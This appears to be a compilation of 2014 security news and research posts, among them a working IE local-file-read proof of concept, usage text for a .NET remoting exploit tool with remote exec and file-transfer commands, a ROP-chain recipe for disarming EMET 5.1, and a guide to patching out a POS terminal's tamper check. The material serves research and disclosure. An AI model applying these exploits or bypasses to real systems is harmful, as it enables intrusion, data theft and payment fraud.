[h=3]Following memory history with REVEN-Axion[/h] When working on traces of millions of instructions, one of the biggest challenges can be to detect the small portions of the code that are actually interesting. In this article, we have an application that reads from the network. We will show how to quickly find where the network frames are used, and if it is possible to cause a buffer overflow by writing more data than is allocated. As an example, we'll be analyzing the following command: wget -O /dev/shm/result.html http://192.168.56.1/index.html We've set the output to shared memory so that the scenario can be smaller and have less unrelated kernel events. [h=2]Search: hardware devices[/h] Since our point of interest is the network traces, we start by searching the device accesses of the network card. We're looking for PCI writes here, since the network card writes to the physical RAM. One interesting PCI write we can find is the one that find its way into the hard drive: the response of the web server. This following image shows the overview of the device accesses during the executed scenario. Here, we're interested in the last PCI write, so let's select it in the combo box. We can see that at sequence 142546, there is a PCI write to physical address 0x639f040. In 32 bits Linux, this is mapped in kernel space at the linear address 0xc639f040. [h=2]Memory dump[/h] Let's request to see the contents of the memory right after the PCI write. Here, we find what looks like a normal Ethernet dump of an HTTP request. Let's dump into a file using the integrated Python console: Let's open it in Wireshark after converting it to a proper format using the hd command: This confirms that we've found a complete Ethernet frame, and that we can browse it using other tools. With some scripting, we could even rebuild the entire communication between the two hosts, as if we had listened to the interfaces the whole time. [h=2]Memory history[/h] Now, let's look for a potential buffer overflow. We have a PCI buffer that is written, we need to find where it is read from. To display where and when an address is used, just check "Show access history": I've selected the H of HTTP so that we may find the user code parsing the HTTP header. We can also see the kernel code parsing the Ethernet headers if we monitor other parts of this frame. The first write corresponds to the PCI write. That's why there is no logical address for the write: it was not done using logical addressing, but it was caused by a PCI access directly into the RAM. We can see that the PCI bus writes 560 bytes in one batch (which is why I've exported a file with 560 bytes earlier). There are three other reads here. The first one leads to a read inside an IRQ (this is IRQ 10, which is mapped at vector #3a) If we double-click the first one, we get this stack trace: Actually, in this case, the IRQ handler is just comparing the checksum of the received data with the checksum received in the TCP header. It is not particularly interesting here, unless we're looking for kernel bugs. Let's take a look at the next read from this kernel buffer: In the backtrace widget, we can see that userspace called the recv syscall. By clicking the parent sequence at 143290, we could find the parent trace. But before doing this, we should locate where the buffer is written. By looking at the assembly code for the function __copy_user_intel, it is quite clear that the source is in ESI and the destination in EDI, the counter in ECX in bytes, just like a REP MOVSB. Since we want to know where the memory is written to, let's follow the memory pointed by EDI, at 0x80aaf72 in our example. [h=2]Previous / next[/h] By double-clicking DWORD PTR [EDI] on the 5th instruction, we can quickly see the content of this memory and access its history if wanted, just like before. There is a even quicker way, though. By selecting the memory using F7 (first operand), we can navigate to its next read or next write. For example, let's say that we want to check for a possible overflow in the recv function. We'll have three things to check : - where does the length given to recv comes from, - where is the destination buffer allocated, and what is its size, - if both sizes are unrelated, is it possible to have an overflow and on which conditions. To find out where the length of recv comes from, the easiest way is to go through the backtrace to the recv call and to use the argument displaying feature of the backtrace: We can see that the parameters are: - socket: 0x4 - buf: 0x80aaf70 - len: 0x1ff - flags: 2 (MSG_PEEK) Note: since the flags are MSG_PEEK, we can expect another read to return the same data later (remember at the previous step, there was one more read from the PCI buffer). Once we know that the size if 0x1ff, the next objective is to know how it is calculated. The value was given by EDI, so let's see where it came from. We just have to press F8 (second operand) to select EDI. Then a click on previous (shortcut: Shift-N) leads me do its previous write. In this case, previous write is a pop. We can either use the "percent" plugin (see the associated blog post), or just go to the function start (assuming that nobody modifies the stack). Either way, we find the corresponding push, which is a push edi. Clicking once more on the previous write to EDI leads us to this memory read, that we can browse again with F8: We can request the previous write of the stack memory, and so on. After going up several times (using only F7/F8 and Shift-n), we finally reach the origin of the size: So the received size is static. It is always 200, and the only calculation done here is a -1, probably to be sure to keep a null terminating byte. The exact same steps can be taken with the buffer value, backtracking the pointer origin. We find that the pointer is allocated inside the same function that called recv, with the same size (obviously without the -1, this time). In this case, we can see clearly that an overflow is not possible, even if we could control the server side. [h=3]Second read[/h] Earlier, we noticed that the buffer was read one more time. Let's focus on this other read now. We know this read occurs at 145455. This is another copy_from_user call. The interesting part is that the backtrace now shows a read call: The arguments of the read are: - fd: 4 - buffer: 0x80aaf70 - length: 0x139 It is interesting that the length is not the same as before (0x200). We might be interested on how that particular size is computed. In particular, is it possible to make this size bigger that 0x200 ? After doing the same process again to the origin the length we can find that it is computed by substracting a pointer (let's call that pointer buf_end) returned by a function with the buffer start address. The interesting part of the buffer computation function is before the return value: The loop (red section) searches for a 0xa (newline character). It increases as long as eax doesn't go path edx. Once we find the string 0xa 0xd 0xa (\n\r\n), we return the pointer right after the 3 newlines (green section). Since we ensure that eax < edx, we can at most read up to edx + 2. In the "end of buffer" case (blue rectangle), if we're not at a newline, we return NULL. In the other case, we return the pointer to the right after the last newline character (with some code in case there are two newline characters). We cannot get past edx + 2 either. Here the interesting part is the central role of edx, which is probably near the end of buffer.Once again with the previous write feature, we can see that edx si computed as follows: edx = buf_start + size - 2 That explains why we could read up to edx + 2. Here, size is 0x1ea. It is bigger than 0x139, but why isn't it 0x1ff ? Let's go backwards a bit more. I'm going to spare you the details because I used the same process as before: 0x1ea is actually the return code from the recv function. This means that wget first uses recv with MSG_PEEK with 0x1ff as buffer size. Once it has its result, it re-reads the same data, but with only the length returned by recv (which is always less than the input size). This means that in the second read too, there are probably no obvious overflows to discover. By the way, the function we analyzed here merely looks for two newlines to detect the end of the headers in an HTTP request. [h=2]Conclusion[/h] Throughout this article, we analyzed a small part of the reception of wget. We saw how to quickly find the way data coming from the network is used. We can easily find where this data is read or erased, where the reception buffer is allocated and so on. This is a major tool within REVEN-Axion : the ability to view the memory history in both directions, up to the physical layer. PS: you'll find a global description of the REVEN technology here.

[h=2]Launching in 2015: A Certificate Authority to Encrypt the Entire Web[/h]November 18, 2014 | By Peter Eckersley Today EFF is pleased to announce Let’s Encrypt, a new certificate authority (CA) initiative that we have put together with Mozilla, Cisco, Akamai, IdenTrust, and researchers at the University of Michigan that aims to clear the remaining roadblocks to transition the Web from HTTP to HTTPS. Although the HTTP protocol has been hugely successful, it is inherently insecure. Whenever you use an HTTP website, you are always vulnerable to problems, including account hijacking and identity theft; surveillance and tracking by governments, companies, and both in concert; injection of malicious scripts into pages; and censorship that targets specific keywords or specific pages on sites. The HTTPS protocol, though it is not yet flawless, is a vast improvement on all of these fronts, and we need to move to a future where every website is HTTPS by default.With a launch scheduled for summer 2015, the Let’s Encrypt CA will automatically issue and manage free certificates for any website that needs them. Switching a webserver from HTTP to HTTPS with this CA will be as easy as issuing one command, or clicking one button. The biggest obstacle to HTTPS deployment has been the complexity, bureaucracy, and cost of the certificates that HTTPS requires. We’re all familiar with the warnings and error messages produced by misconfigured certificates. These warnings are a hint that HTTPS (and other uses of TLS/SSL) is dependent on a horrifyingly complex and often structurally dysfunctional bureaucracy for authentication. Let's Encrypt will eliminate most kinds of erroneous certificate warnings The need to obtain, install, and manage certificates from that bureaucracy is the largest reason that sites keep using HTTP instead of HTTPS. In our tests, it typically takes a web developer 1-3 hours to enable encryption for the first time. The Let’s Encrypt project is aiming to fix that by reducing setup time to 20-30 seconds. You can help test and hack on the developer preview of our Let's Encrypt agent software or watch a video of it in action here: Let’s Encrypt will employ a number of new technologies to manage secure automated verification of domains and issuance of certificates. We will use a protocol we’re developing called ACME between web servers and the CA, which includes support for new and stronger forms of domain validation. We will also employ Internet-wide datasets of certificates, such as EFF’s own Decentralized SSL Observatory, the University of Michigan’s scans.io, and Google's Certificate Transparency logs, to make higher-security decisions about when a certificate is safe to issue. The Let’s Encrypt CA will be operated by a new non-profit organization called the Internet Security Research Group (ISRG). EFF helped to put together this initiative with Mozilla and the University of Michigan, and it has been joined for launch by partners including Cisco, Akamai, and Identrust. The core team working on the Let's Encrypt CA and agent software includes James Kasten, Seth Schoen, and Peter Eckersley at EFF; Josh Aas, Richard Barnes, Kevin Dick and Eric Rescorla at Mozilla; Alex Halderman and James Kasten and the University of Michigan.

When's document.URL not document.URL? (CVE-2014-6340) I don't tend to go after cross-origin bugs in web browsers, after all XSS* is typically far easier to find (*disclaimer* I don't go after XSS either), but sometimes they're fun. Internet Explorer is a special case, most web browsers don't make much of a distinction between origins for security purpose but IE does. Its zone mechanisms can make cross-origin bugs interesting, especially when it interacts with ActiveX plugins. The origin *ahem* of CVE-2014-6340 came from some research into a site-locking ActiveX plugin. I decided to see if I could find a generic way of bypassing the site-lock and found a bug in IE which has existed since at least IE6. Let's start with how an ActiveX control will typically site-lock, as in only allow the control to be interacted with if hosted on a page from a particular domain. When an ActiveX control is instantiated it's passed a "Site" object which represents the container of the ActiveX control. This might be through implementing IObjectWithSite::SetSite or IOleObject::SetClientSite. When passed the site object the well know way of getting the hosting page's URL is to call IHTMLDocument2::get_URL method with code similar to the following: IOleClientSite* pOleClientSite; IOleContainer* pContainer; pOleClientSite->GetContainer(&pContainer); IHTMLDocument2* pHtmlDoc; pContainer->QueryInterface(IID_PPV_ARGS(&pHtmlDoc)); BSTR bstrURL; pHtmlDoc->get_URL(&bstrURL); // We now have the hosting URL. Anything which is based on the published Microsoft site-locking template code does something similar. So we can conclude that for a site-locking ActiveX control the document.URL property is important. Even though this is a DOM property it's at the native code level so you can't use Javascript to override it. So I guess we need to dig into MSHTML to find out where the URL value comes from. Bringing up the function in IDA led me to the following: One of the first things IHTMLDocument2::get_URL calls is CMarkup::GetMarkupPrintUri. But what's most interesting was if this returned successfully it exited the function with a successful return code. Of course if you look at the code flow it only enters that block of code if the markup document object returned from CDocument::Markup has bit 1 set at byte offset 0x31. So where does that get set? Well annoyingly 0x31 is hardly a rare number so doing an immediate search in IDA was a pain, still eventually I found where you could set it, it was in the IHTMLDocument4::put_media function: Still clearly that function must be documented? Nope, not a bit of it: Well I could go on but I'll cut the story short for sanity's sake. What the media property does is set whether the document's currently a HTML document or a Print template. It turns out this is an old property which probably should never be used, but is one of those things which's kept around for legacy purposes. As long as you convert the current document to a print template using the OLECMDID_SETPRINTTEMPLATE command to ExecWB on the web browser this code path will execute. The final step is working out how you influence the URL property. After a bit of digging you'll find the following code in CMarkup::FindMarkupPrintUri. Hmm well it seems to be reading the attribute __IE_DisplayURL from the top element of the document and retuning that as the URL. Okay let's try that, using something like XMLHttpRequest to see if we can read local files. For example: <html __IE_DisplayURL="file:///c:/"> <body> <h1> PoC for IE_DisplayURL Issue</h1> <object border="1" classid="clsid:8856f961-340a-11d0-a96b-00c04fd705a2" id="obj">NO OBJECT</object> <script> try { // Set document to a print template var wb = document.getElementById("obj").object; wb.ExecWB(51, 0, true); // Enable print media mode document.media = "print"; // Read a local file var x = new ActiveXObject("msxml2.xmlhttp"); x.open("GET", "file:///c:/windows/win.ini", false); x.send(); alert(x.responseText); // Disable again to get scripting back (not really necessary) document.media = "screen"; } catch(e) { alert(e.message); } </script> </body> </html> This example only work when running in the Intranet Zone because it requires the ability to script the web browser. Can it be done from Internet Zone? Probably ;-) In the end Microsoft classed this as an Information Disclosure, but is it? Well probably in a default installation of Windows. But mix in third-party ActiveX controls you have yourself the potential for RCE. Perhaps sit back with a cup of *Coffee* and think about what ActiveX controls might be interesting to play with ;-) Posted by tiraniddo at 15:02 Sursa: Tyranid's Lair: When's document.URL not document.URL?

Additional information about CVE-2014-6324 swiat 18 Nov 2014 10:17 AM Today Microsoft released update MS14-068 to address CVE-2014-6324, a Windows Kerberos implementation elevation of privilege vulnerability that is being exploited in-the-wild in limited, targeted attacks. The goal of this blog post is to provide additional information about the vulnerability, update priority, and detection guidance for defenders. Microsoft recommends customers apply this update to their domain controllers as quickly as possible. Vulnerability Details CVE-2014-6324 allows remote elevation of privilege in domains running Windows domain controllers. An attacker with the credentials of any domain user can elevate their privileges to that of any other account on the domain (including domain administrator accounts). The exploit found in-the-wild targeted a vulnerable code path in domain controllers running on Windows Server 2008R2 and below. Microsoft has determined that domain controllers running 2012 and above are vulnerable to a related attack, but it would be significantly more difficult to exploit. Non-domain controllers running all versions of Windows are receiving a “defense in depth” update but are not vulnerable to this issue. Before talking about the specific vulnerability, it will be useful to have a basic understanding of how Kerberos works. One point not illustrated in the diagram above is that both the TGT and Service Ticket contain a blob of data called the PAC (Privilege Attribute Certificate). A PAC contains (among other things): The user’s domain SID The security groups the user is a member of When a user first requests a TGT from the KDC, the KDC puts a PAC (containing the user’s security information) into the TGT. The KDC signs the PAC so it cannot be tampered with. When the user requests a Service Ticket, they use their TGT to authenticate to the KDC. The KDC validates the signature of the PAC contained in the TGT and copies the PAC into the Service Ticket being created. When the user authenticates to a service, the service validates the signature of the PAC and uses the data in the PAC to create a logon token for the user. As an example, if the PAC has a valid signature and indicates that “Sue” is a member of the “Domain Admins” security group, the logon token created for “Sue” will be a member of the “Domain Admins” group. CVE-2014-6324 fixes an issue in the way Windows Kerberos validates the PAC in Kerberos tickets. Prior to the update it was possible for an attacker to forge a PAC that the Kerberos KDC would incorrectly validate. This allows an attacker to remotely elevate their privilege against remote servers from an unprivileged authenticated user to a domain administrator. Update Priority Domain controllers running Windows Server 2008R2 and below Domain controllers running Windows Server 2012 and higher All other systems running any version of Windows Detection Guidance Companies currently collecting event logs from their domain controllers may be able to detect signs of exploitation pre-update. Please note that this logging will only catch known exploits; there are known methods to write exploits that will bypass this logging. The key piece of information to note in this log entry is that the “Security ID” and “Account Name” fields do not match even though they should. In the screenshot above, the user account “nonadmin” used this exploit to elevate privileges to “TESTLAB\Administrator”. After installing the update, for Windows 2008R2 and above, the 4769 Kerberos Service Ticket Operation event log can be used to detect attackers attempting to exploit this vulnerability. This is a high volume event, so it is advisable to only log failures (this will significantly reduce the number of events generated). After installing the update, exploitation attempts will result in the “Failure Code” of “0xf” being logged. Note that this error code can also be logged in other extremely rare circumstances. So, while there is a chance that this event log could be generated in non-malicious scenarios, there is a high probability that an exploitation attempt is the cause of the event. Remediation The only way a domain compromise can be remediated with a high level of certainty is a complete rebuild of the domain. An attacker with administrative privilege on a domain controller can make a nearly unbounded number of changes to the system that can allow the attacker to persist their access long after the update has been installed. Therefore it is critical to install the update immediately. Additional Notes Azure Active Directory does not expose Kerberos over any external interface and is therefore not affected by this vulnerability.

Disarming and Bypassing EMET 5.1 EMET 5.1 released Last week Microsoft released EMET 5.1 to address some compatibility issues and strengthen mitigations to make them more resilient to attacks and bypasses. We, of course, were curious to see if our EMET 5.0 disarming technique has been addressed by the latest version of the toolkit. After a quick analysis of the EMET.dll function that verifies which protection needs to be applied whenever a critical function is called, it is clear that now the global variable (EMET+0xF2A30 in EMET 5.1) we used in our previous techniques to disarm EMET 4.X and 5.0 is better protected. Mitigations Switch Hardening As previously seen, this global variable stores a pointer to a structure (we called it CONFIG_STRUCT in our previous posts) that among other information, includes a flag acting as a general switch for most of the EMET mitigations at CONFIG_STRUCT+0x558. EMET 5.0 hardened this pointer by encoding it with the Windows API EncodePointer. In EMET 5.1 a pointer to CONFIG_STRUCT is stored in another variable that we called EMETd, as can be seen in the next figure. It is the EMETd address that is now stored in the global variable at EMET+0xF2A30. EMETd is a 12 byte structure defined as follows: struct EMETd { DWORD size; LPVOID lpCONFIG_STRUCT; DWORD writable; } Both CONFIG_STRUCT and EMETd are initialised in a function at EMET+0x254D5 (refer to previous figure). EMET 5.1 adds an “extra safety layer” by using the result of a CPUID instruction to xor-encode the EMETd pointer, after encoding it with EncodePointer. CPUID is called passing 0x1 as an argument (EAX=0x1), which means the toolkit uses “Processor Info and Feature Bits” to perform the xor encoding. The instruction returns the CPU’s signature in EAX, feature flags in EDX and ECX and additional feature info in EBX. Another important change is the fact that the data structure is now located on a read-only memory page, which of course increases the difficulty in switching off EMET mitigations by overwriting the general switch flag. Adapting the Disarming Approach Rather than trying to build a ROP chain to recreate the xor-decoding logic, we tried to look for an easier option. More specifically we looked at borrowing a code chunk in an EMET.dll function that would do the work for us. The code starting at basic block EMET+0x67372 is a good candidate, as it decodes the EMETd pointer and returns the CONFIG_STRUCT address in the EDX register. As shown in the previous figure, to successfully return from the above code, we need to control both EBP and ESI registers. The next step is to take care of the memory page protection. In our last post we showed how CONFIG_STRUCT can be leveraged to obtain a list of unhooked Windows APIs, and we stressed the fact that this could lead to further points of failure. In our case, we can for example, access ntdll!NtProtectVirtualMemory at CONFIG_STRUCT+0x1b8 (the offset didn’t change from EMET 5.0 to 5.1) and change the CONFIG_STRUCT memory page protections before zeroing out the global mitigations switch at CONFIG_STRUCT+0x558. Of course once the unhooked ntdll!NtProtectVirtualMemory is available to us, other options are possible – like for example directly patching EMET shims in order to bypass the checks. EAF and EAF+ were once again bypassed by calling the unhooked version of ntdll!NtSetContextThread located at POINTER(CONFIG_STRUCT+0x518) as we did for EMET 5.0. Wrapping Up To summarise the technique, a successful disarming ROP chain will need to perform the following steps: Gather the EMET.dll base address. Get the “decoding helper” code at address EMET+0x67372. Return into EMET+0x67372 and obtain the CONFIG_STRUCT address in the EDX register. Call ntdll!NtProtectVirtualMemory to make the CONFIG_STRUCT memory page writable. Zero out the global protections switch at POINTER(CONFIG_STRUCT+0x558). We have used this technique and implemented a proof of concept bypass using the Internet Explorer 8 Fixed Col Span ID exploit we’ve used to bypass EMET 4.x and 5.0. The full EMET 5.1 disarming exploit code can be downloaded from the Exploit-DB. The technique was tested against 32-bit systems and results were compared across different operating systems (Windows 7 SP1, Windows 2008 SP1, Windows 8, Windows 8.1). A video of this exploit in action can be seen below: Conclusion We started looking at EMET since version 4.0 and it’s come a long way since. There’s no doubt that Microsoft are stepping up their efforts at making EMET ever more effective. This sort of layered defense goes a long way in disrupting commodity attacks and increasing the level of effort required for successful exploitation. Sursa: Disarming and Bypassing EMET 5.1

Many Tor-anonymized domains seized by police belonged to imposter sites Results of darkweb crawl may come as good news to Tor supporters. by Dan Goodin - Nov 18 2014, 2:40am GTBST A large number of the Tor-anonymized domains recently seized in a crackdown on illegal darknet services were clones or imposter sites, according to an analysis published Monday. That conclusion is based on an indexing of .onion sites available through the Tor privacy service that cloaks the location where online services are hosted. Australia-based blogger Nik Cubrilovic said a Web crawl he performed on the darknet revealed just 276 seized addresses, many fewer than the 414 domains police claimed they confiscated last week. Of the 276 domains Cubrilovic identified, 153 pointed to clones, phishing, or scam sites impersonating one of the hidden services targeted by law enforcement, he said. If corroborated by others, the findings may be viewed as good news for privacy advocates who look to Tor to help preserve their anonymity. Last week's reports that law enforcement agencies tracked down more than 400 hidden services touched off speculation that police identified and were exploiting a vulnerability in Tor itself that allowed them to surreptitiously decloak hidden services. The revelation that many of the seized sites were imposters may help to tamp down such suspicions. Cubrilovic wrote: That the FBI seized so many clone and fake websites suggests a broad, untargeted sweep of hidden services rather than a targeted campaign. The slapshot nature of how sites were seized suggests that rather than starting with an onion address and then discovering the host server to seize, this campaign simply vacuumed up a large number of onion websites by targeting specific hosting companies. We have tracked down the hosting companies affected and the details will be published in a follow-up. Officials with the Tor Project continue to say they have no evidence the mass seizures are the result of a technical exploit. In a blog post published Friday, they wrote: "So far, all indications are that those arrests are best explained by bad opsec for a few of them, and then those few pointed to the others when they were questioned."

It only works on Windows although some aspects _might_ work in Mono on *nix. Usage Instructions: =================== ExploitRemotingService [options] uri command [command args] Copyright (c) James Forshaw 2014 Uri: The supported URI are as follows: tcp://host:port/ObjName - TCP connection on host and portname ipc://channel/ObjName - Named pipe channel Options: -s, --secure Enable secure mode -p, --port=VALUE Specify the local TCP port to listen on -i, --ipc=VALUE Specify listening pipe name for IPC channel --user=VALUE Specify username for secure mode --pass=VALUE Specify password for secure mode --ver=VALUE Specify version number for remote, 2 or 4 --usecom Use DCOM backchannel instead of .NET remoting --remname=VALUE Specify the remote object name to register -v, --verbose Enable verbose debug output --useser Uses old serialization tricks, only works on full type filter services -h, -?, --help Commands: exec [-wait] program [cmdline]: Execute a process on the hosting server cmd cmdline : Execute a command line process and display stdou t put localfile remotefile : Upload a file to the hosting server get remotefile localfile : Download a file from the hosting server ls remotedir : List a remote directory run file [args] : Upload and execute an assembly, calls entry point user : Print the current username ver : Print the OS version This tool supports exploit both TCP remoting services and local IPC services. To test the exploit you need to know the name of the .NET remoting service and the port it's listening on (for TCP) or the name of the Named Pipe (for IPC). You can normally find this in the server or client code. Look for things like calls to: RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance You can then try the exploit by constructing an appropriate URL. If TCP you can use the URL format tcp://hostname:port/ServiceName. For IPC use ipc://NamedPipeName/ServiceName. A simple test is to do: ExploitRemotingService SERVICEURL ver If successful it should print the OS version of the hosting .NET remoting service. If you get an exception it might be fixed with CVE-2014-1806. At this point try the COM version using: ExploitRemotingService -usecom SERVICEURL ver This works best locally but can work remotely if you modify the COM configuration and disable the firewall you should be able to get it to work. If that still doesn't work then it might be an up to date server. Instead you can also try the full serialization version using. ExploitRemotingService -useser SERVICEURL ls c:\ For this to work the remoting service must be running with full typefilter mode enabled (which is some, especially IPC services). It also only works with the commands ls, put and get. But that should be enough to compromise a box. I've provided an example service to test against.

[h=1]Visa, MasterCard Removing Passwords from 3D Secure[/h]by Brian Donohue November 17, 2014 , 1:17 pm Payment giants Visa and MasterCard announced plans to eliminate the need for password authentication in the companies’ respective “Verified by Visa” and “SecureCode” payment platforms which are designed to add an additional layer of security to online transactions. In a press release, MasterCard announced that ultimate goal of an upgraded 3D Secure system, set to replace the current system next year, will rely on “richer cardholder data” in order to limit password interruptions in the payment process. In the event that an authentication challenge is required, MasterCard says it plans to replace static, memorized passwords with one-time passwords and fingerprint biometrics. MasterCard is also sponsoring commercial tests to design facial and voice recognition applications for use as authenticators in the future as well as a wristband that authenticates via cardiac rhythm. Threatpost reached out to MasterCard for clarification on what the company means by “richer cardholder data” but did not hear back by the time of publication. 3D Secure is a card-not-present payment protocol developed Visa and adopted by a number of other payment card companies. It was designed to curb the growing problem of fraudulent purchases being made online. When a Verified by Visa or SecureCode user enters her card information to an online merchant, the merchant then sends that payment data to Visa or MasterCard. The payment company replies with an iframe that presents the user with an additional password-based authentication form. If the customer enters the correct password, the merchant receives an authorization code to proceed with the transaction. However, the 3D Secure protocol has been criticized for requiring users to remember yet another complicated password as well as for its user interface, which has been mistaken for a phishing scheme. “All of us want a payment experience that is safe as well as simple, not one or the other,” said Ajay Bhalla, president of enterprise security solutions at MasterCard. “We want to identify people for who they are, not what they remember. We have too many passwords to remember and this creates extra problems for consumers and businesses.” Sursa: Visa, MasterCard Remove Passwords from 3D Secure | Threatpost | The first stop for security news

Scientists develop self-healing virtual machines News Rene Millman Nov 17, 2014 University of Utah creates software that kills off malware in the cloud University of Utah scientists have developed software that can help virtual machines self-heal when under attack from malware. Researchers claim the software not only detects and eradicates never-before-seen viruses and other malware, but also automatically repairs damage caused by them. The software then prevents the invader from infecting the computer again. Dubbed Advanced Adaptive Applications (or A3) the open source software works in a virtual machine, the software monitors the VM’s OS and applications running on Linux. The researchers created “stackable debuggers”; these multiple de-bugging applications run on top of each other and look inside the virtual machine while it is running, constantly monitoring for any out-of-the-ordinary behaviour in the computer. Unlike a normal virus scanner on consumer PCs that compare a list of known viruses to something that has infected the computer, A3 can detect new, unknown viruses or malware automatically by sensing that something is happening in the computer’s operation that is not right. It can then stop the virus, carry out a repair of the damaged software code, and then learn to stop that bug entering the machine again. A3 was co-developed by defence firm Raytheon BBN and was funded by Darpa though its Clean-Slate Design of Resilient, Adaptive, Secure Hosts programme. The four-year project was completed in late September. The software was tested against the recent Shellshock bug. A3 discovered the Shellshock attack on a web server and repaired the damage in four minutes, according to Eric Eide, University of Utah research assistant professor of computer science. “It is a pretty big deal that a computer system could automatically, and in a short amount of time, find an acceptable fix to a widespread and important security vulnerability,” said Eide. “It’s pretty cool when you can pick the Bug of the Week and it works.” Now that the team’s project into A3 is completed and proven to work, Eide said the research team is looking to build on the research and figure out a way to use A3 in cloud computing. If used in a cloud service, such as AWS, that a virus or attack could affect the operation of, A3 could repair it in minutes without having to take the servers down.

[h=1]Reverse engineering NAND Flash Memory – POS device case study (part 3/3)[/h]Matt_Oh| November 17, 2014 In my first blog, I talked about a method for acquiring a NAND Flash memory image by directly interacting with the chip. After you acquire a raw firmware image, using the various approaches I proposed with my second blog, you should be able to easily identify the layout of the firmware. At this point in the process, it’s time to extract the data and manipulate it. Figure 1 shows a typical firmware image layout. (This is also relevant to the POS device I worked on.) The U-Boot bootloader can be replaced with another bootloader if you like, and the JFFS2 file system can also be replaced with another popular journaling file system. Figure 1 Typical firmware image layout 1st stage bootloader The 1st stage bootloader is usually very architecture-dependent code that performs hardware initialization. The code is automatically loaded at address 0x00000000 by an ARM CPU when it powers up. Figure 2 shows the hardware initialization code from the image I worked on. Figure 2 Hardware initialization code The 1st stage bootloader usually loads up the 2nd stage bootloader – like a U-Boot bootloader for example. This is more of a general purpose bootloader and has more features than the 1st stage bootloader. This 2nd stage bootloader enables user interaction through UART, etc. It can also identify and load the kernel, and various images from various sources - including NAND Flash memory and the network location. Figure 3 Code from U-Boot bootloader U-Boot and U-Boot images The U-Boot bootloader uses U-Boot images to pack the next level OS and recovery file system images. Figure 4 shows the definition of the U-Boot image header. It has a magic value of 4 bytes (27 05 19 56) and a new image always starts with a new block. So identifying U-Boot image is relatively easy. Figure 5 shows a typical U-Boot image header. Figure 4 U-Boot image header Figure 5 U-Boot image example Sometimes, one U-Boot image contains multiple sub-images - Figure 6 shows an example. It contains a Linux kernel image and a Ramdisk image. This is a recovery OS image that is used when the main file system image is damaged or the main kernel doesn’t boot up correctly for some reason. Figure 6 Multi-file image The DumpFlash tool can be used to dump information and extract sub-images from U-Boot images. Figure 7 shows a good example when using the –U option to extract every U-Boot sub-image from the Flash device. Figure 7 DumpFlash.py -U option to extract all sub-images After acquiring the sub-images, depending on the type of the image, you can apply various analysis methods. If the file is a file system image, you can actually mount it on the system and browse the contents. Figure 8 shows an example of mounting an ext2 file system image file extracted from U-Boot image blocks. Figure 8 Mounting RAM disk image Journaling file system Modern embedded systems usually use a journaling file system. This has some advantages over traditional file systems when initial performance is not as good. Usually when the machine starts up, it loads up the whole file system on DRAM first, with modifications to the file system being performed in memory before it is synced to Flash memory. The journaling file system makes it possible to split a file write into small chunks of records, so that it will not re-write the whole file contents when only small parts of it are modified. This is beneficial because reading and writing NAND Flash data is a slow process and excessive writing can diminish the lifespan of a NAND Flash device. Identifying a JFFS2 file system (one of the popular journaling file systems used in the device) is relatively easy. When the JFFS2 software first prepares the NAND Flash device for JFFS2, it leaves a special marker called an erasermaker in the OOB area of the first page of each block. The erasermaker bytes are usually 85 19 03 20 08 00 00 00. (Figure 9) Figure 9 JFFS2 erasermakrer After the JFFS2 file system, investigating the contents is very straightforward. Just by using MTD (Memory Technology Device) in Linux systems, you can directly mount it as a file system. (Figure 10) Figure 10 Mounting JFFS2 image You can then browse the contents using usual Linux commands. (Figure 11) Figure 11 JFFS2 contents Modifying firmware Acquiring firmware in itself is very useful for further analysis and vulnerability research. It is also beneficial if you can modify the firmware and reload it from the machine. This is not quite as easy, but it’s certainly not impossible. The first thing to do is to find the target code to patch. After this you’ll need to fix all related page checksums. For example, the device I worked on has tamper protection. If the device is opened up at least once, it won’t boot up correctly and displays error messages similar to those shown in Figure 12. This is to alert the POS owner if any attempts to modify the device are made. Tamper protection is a big deal with POS devices because they process financial transactions. Obviously, if it is back-doored or tampered with the integrity of the system is lost and it could potentially leak credit and debit card information, such as track 1 and track 2 data. Figure 12 Tamper protection in action When I opened up the device, I saw another very curious device inserted between the front and back panels. This device connects the circuits of the front and back panels. (Figure 13) Figure 13 Front and back panels When I looked closely at the device, it appeared more interesting. (Figure 14) First I thought it was like plastic padding or something, but it actually had circuits inside it. And as I discovered, trying to tamper with this device is not easy. The conducting materials are painted inside the cover and any attempt to tamper with this easily breaks the circuits. So I suspect this device is used for tamper detection. When you open up the device, the current between the back and front panel is broken, and there might be a proprietary chip that detects this. Of course, this is just speculation for now. Figure 14 Circuits inside plastic padding The thing is that I don’t know exactly how tamper detection is performed at the hardware level but it is relatively easy to patch this up in the software level. To circumvent this protection, you need to find the process that actually checks the tamper detection in the device. The process that is responsible for this is the /bin/svcsec program. It is loaded with the rcS script when the system starts up. It uses a proprietary device called /dev/spectrum to retrieve tamper information. The code that is doing the tamper detection is shown in Figure 15 and you can patch the CMP instruction to the CMN instruction to change the control flow. Figure 15 Patching CMP instruction Now that you have a patched binary, you need to write this file into the flat JFFS2 image file. Figure 16 shows this process. DumpJFFS2.py has various command line options. The –t and –s options specify the location and size of the patch location in the file. Here we patched 4 bytes at offset 0x11380 of /bin/svcsec file. It reads the original JFFS2 dump file - named JFFS2-01.dmp - and modifies the affected JFFS2 records, writing the output to the JFFS2-01-Patched.dmp file. Figure 16 DumpJFFS2.py tool to overwrite modified JFFS2 record Figure 17 and Figure 18 show how this command modifies the affected JFFS2 record. The original record has a compressed data size of 0xF4 bytes. If you decompressed this data using the ZLIB library, it would be part of the executable code from /bin/svcsec. The decompressed size is 0x100 bytes. Out of these bytes, we modify only 4 bytes and compress the entire data again, which creates new compressed bytes of 0xEF size. After appending a few 0xFF padding bytes to fill the space between this and next JFFS2 record, the script calculates 3 CRC values – header, data and node - and writes them back to the header. Figure 17 Original JFFS2 record Figure 18 Modified JFFS2 record Now with the patched JFFS2 raw image, you need to flash it back to Flash memory. With the changes made, it affects one page in this case. It doesn’t need to flash whole blocks and pages of the image, it just needs to write back one page. Figure 19 shows the command line options to achieve this. The –OJ option specifies the patched dump file to write back to and the –C option specifies the original JFFS2 dump file. The program compares both images and only writes the modified data. The –b option specifies the range of JFFS2 file system blocks. We already got this information with the DumpFlash.py –j command. You need to erase a block before writing NAND Flash pages – that is how it usually works with Flash memory, so the script will erase the affected block and rewrite the whole block, not just the page. Figure 19 DumpFlash to write affected page Movie 1 shows the process of re-soldering the Flash memory back to the board after modifying the firmware. If this process is successful, you can turn on the device and see it working again with the modified firmware. Movie 1 Re-soldering Flash memory back to the board Conclusion After identifying the layout of the firmware using the various methods I shared last time, you can extract bootloader and file system images. I talked about extracting and modifying U-Boot images and JFFS2 images, which are very popular with embedded systems. 